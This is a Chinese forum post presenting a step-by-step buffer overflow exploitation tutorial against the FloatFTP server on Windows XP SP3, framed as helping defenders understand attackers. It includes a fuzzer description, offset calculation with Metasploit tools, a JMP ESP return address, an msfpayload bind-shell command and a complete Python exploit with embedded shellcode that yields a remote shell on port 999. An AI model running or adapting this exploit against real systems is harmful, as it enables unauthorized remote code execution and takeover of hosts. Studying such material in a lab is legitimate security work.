设为首页 收藏本站
查看: 990|回复: 0

[经验分享] 理解缓冲区溢出漏洞的利用

[复制链接]

尚未签到

发表于 2015-1-29 14:29:54 | 显示全部楼层 |阅读模式
在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且我们逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现—整个进程,无论是独立的部分还是整体—都会一点点呈现出来。
本文将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。
如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。
我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而危机远程系统。
需要的软件/设置
攻击系统:Linux(我用的R3)
开发/受害者系统:windows xp sp3英文版
Immunity debugger-安装在windows xp系统上
FloatFTP—我们要利用的应用程序(忽略现有的漏洞,现在点击此页面上的“脆弱的应用程序”按钮来下载,解压缩文件到xp系统的桌面文件夹内)。
让我们正是开始吧!
Fuzzing
“Fuzzing”是对有畸形、过度利用的和发送随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试软件。Fuzzing用于测试系统和程序的安全。
双击float FTP来执行开始:
wKioOVIR3K_SFJkeAACTKWu4eO8263.jpg 通过运行cmd提示符来运行和监听21端口和键入:
netstat -an | find "21"
wKioOVIR3LLy3hqAAAAoJjdAC3I904.jpg 启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。
wKioJlIR3LTDpL7pAACN75eQuZg718.jpg 一旦应用程序在调试器上加载时,调试器将要处于暂定状态。按F9键或是Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。
wKioJlIR3MrDW7O9AAEEReQqNy8267.jpg 现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。
下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。
wKioOVIR366AUasTAACwOsj6RXc699.jpg
我们可以从例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。
在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nano fuzzer.py”。这就打开了一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。
wKioOVIR3NPSO0g-AAB1n4f5WDE230.jpg 利用正在系统上运行的floatFTP的IP系统改变目标的IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。
chmod 755 fuzzer.py
执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。
wKioOVIR3NTifli6AAAcfcDiKbY483.jpg 当你在xp系统上看到这个调试器,你会看到Immunity debugger已经捕获了破坏了的数据和暂停了应用程序。如果你看EIP(扩展的指令指针)寄存器时,你就会看到在41秒中内fuzzer缓冲区寄覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目的是了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。
wKioOVIR3N2iiJgcAAEqKgWRvrg468.jpg 漏洞挖掘
用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod 755 skeleton.py)
wKioJlIR39WyYnQSAABVjSZFaeU813.jpg
在攻击系统的Linux终端上运行skeleton.py。
现在,当你在Immunity debugger上检查EIP寄存器时,你会看到缓冲区代码4141414141覆盖了寄存器,并溢出到了ESP寄存器中。
wKioJlIR3OOAZ9KjAACt5iFRIh0159.jpg 下一步就是要确定我们要插入代码的空间到底有多大,到现在为止,我们已经使用了一组固定的重复字符来确定我们的目标的内存地址。我们现在将要使用metasploit的pattern_create和pattern_offset工具来帮助我们发现究竟有多大的空间,我们以什么特定的内存地址为目标。首先,用1000个字符来生成一个不重复的字符串。
使用cd命令到/opt/metasploit/msf3/tools并运行:
创建一个1000字符的字符串,用它来取代以前缓冲架构漏洞中的1000个字符“A”。
wKioJlIR3OjhxXxDAABImh8pVpE839.jpg 注释掉以前的缓冲区漏洞,像下面一样创建一个新的缓冲线,在双引号中为新的缓冲区。
wKioOVIR5A-zPgERAABi-7mjqd4927.jpg
在Immunity debugger下重启FTP服务器(单击“debug”,之后重启或按CTRL+F2),启动FTP服务器的架构漏洞。按照先前的做法一定崩溃了,但是现在EIP和ESP缓冲区中有metasploit创建的格式,把这些值复制下来,我们将用它们来计算EIP和ESP寄存器的字节中的差异。
在本例,EIP和ESP的值为:
EIP: 69413269
ESP: 00AEFC2C (69413669)
之后,运行:
./pattern_offset.rb 69413269
接着
./pattern_offset.rb 69413669
wKioJlIR3OrAhAaJAAAuR_dhSTA459.jpg 输出告诉我们247个字节以后的EIP寄存器开始被缓冲区覆盖,这就意味着EIP中248—251字节是我们想要的目标。
CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和“跳”到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。
两个寄存器之间有12个字节,于是我们用8个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。
我们使用保持1000字节边界的框架漏洞来调整缓冲区:
buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741 z
例如: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]
wKioJlIR5pjAv_H7AABqudspWdY811.jpg
在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。
再次运行挖掘,然后在Immunity debugger器中右击ESP寄存器的窗格选择“follow in dump”。如果一切排列正确的话,EIP寄存器中将会存储42424242和DS(x44)将会在ESP寄存器内存地址前面从EIP到ESP的空间中填充8 CS。
wKioJlIR3PKzS_7oAACctCASLzg552.jpg wKioOVIR3P3DJcx0AAEu93QQKgQ094.jpg 很棒。在Immunity debugger器中,复制DS的开始到结束的ESP的内存地址。然后打开windows计算器,转换到16进制的模式,把数值变成10进制。
这里是这样的:
开始:00AEFC2C = 11467820
结束:00AEFF0C = 11468556
用结束值减去开始值11468556 - 11467820 = 736,我们就知道有736个字节来储存代码。
现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。
单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。
我们在windows系统文件kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系统,而不是32位的windows xp sp3英文版,这个指令驻留在不同的位置。你要是用的是其他系统,在另外的DLL中查找JMP ESP指令,在剩下的教程中改变内存地址。
wKioJlIR3QGTqqwAAABh1XXXfi4088.jpg 我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了\x7B\x46\x86\x7C。我们也要增加8Bs作为填充("\x43"*8)和改变最后一个值为\xCC*741 (742 CC's),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。
wKioJlIR6VHSeH-yAACChVLVbLE423.jpg
在Immunity debugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。
在Immunity debugger器工具栏单击箭头指向的三个点,进入JMP ESP内存所在的位置:7C86467B(在这个例子中),单击“OK”,然后按下F2在调试中设置断点。当访问JMP ESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。
wKioJlIR3QjyLuSrAACyM2ni0AY592.jpg 再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:
wKioOVIR3RKh4NIDAAFa44YuJ8k998.jpg EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。
shellcode和漏洞
我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00, \x0d, \x0a, 0×40。"\x40\xff\\x3d\x20"可以阻止shellcode执行。
下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。
msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x3d\x20'
这个结果是一个386字节的payload:
wKioJlIR6dzBnNoSAAFFiyC_uQc122.jpg
wKioJlIR6eXxssCkAADSfZhN7cc014.jpg
注释掉前面缓冲区声明和添加新的修改声明:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373
在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0×90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏洞中正常排列,NOP指令是有利的,但是shellcode执行失败。
我又一次修改缓冲区在shellcode前添加了16个NOP:
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357
例如: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]
最终完整的漏洞:
  • #!/usr/bin/python   
  •    
  • import socket   
  •    
  • s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
  •    
  • #buffer = '\x41' * 1000   
  •    
  • #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac  
  • 1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6  
  • Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah  
  • 2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7A  
  • j8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3A  
  • m4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao  
  • 9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar  
  • 4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At  
  • 9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4A  
  • w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0  
  • Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb  
  • 6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1  
  • Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg  
  • 5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"   
  •    
  • #buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741   
  •    
  • ## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R |   
  • msfencode -b '\x40\x0A\x00\x0D' 368 bytes   
  •    
    shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"
    "\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"
    "\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"
    "\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"
    "\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"
    "\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"
    "\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"
    "\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"
    "\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"
    "\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"
    "\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"
    "\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"
    "\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"
    "\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"
    "\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"
    "\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"
    "\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"
    "\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"
    "\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"
    "\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"
    "\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"
    "\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"
    "\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"
    "\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"
    "\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"
    "\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"
    "\x0e\x3a\x93\x35")
    ## Windows XP SP3 kernel32.dll 7C86467B JMP ESP
    #buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
    buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 +
    shellcode + "\xCC"*357
    print "\nSending evil buffer..."
    s.connect(('10.10.10.32',21))
    data = s.recv(1024)
    s.send('USER ftp' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ftp' +'\r\n')
    data = s.recv(1024)
    s.send('REST' +buffer+'\r\n')
    s.close()
关闭XP系统上的调试器,重新启动FloatFTP。在攻击系统上启动漏洞攻击,然后远程连接到FTP服务器的999端口,一起正常,你将会以一个管理员的身份(或是任何一个打开FloatFTP进程的)收到一个shell。
wKioOVIR3RbxWGW1AABauztN7jc976.jpg 正如你看到的,现在这个系统已经被渗透,并且受攻击者控制。


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-41691-1-1.html 上篇帖子: Linux glibc幽灵漏洞简介与修复方法 下篇帖子: CentOS 5.5 VNC-Server Install 代理服务器 windows 一窍不通 应用程序 计算机
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表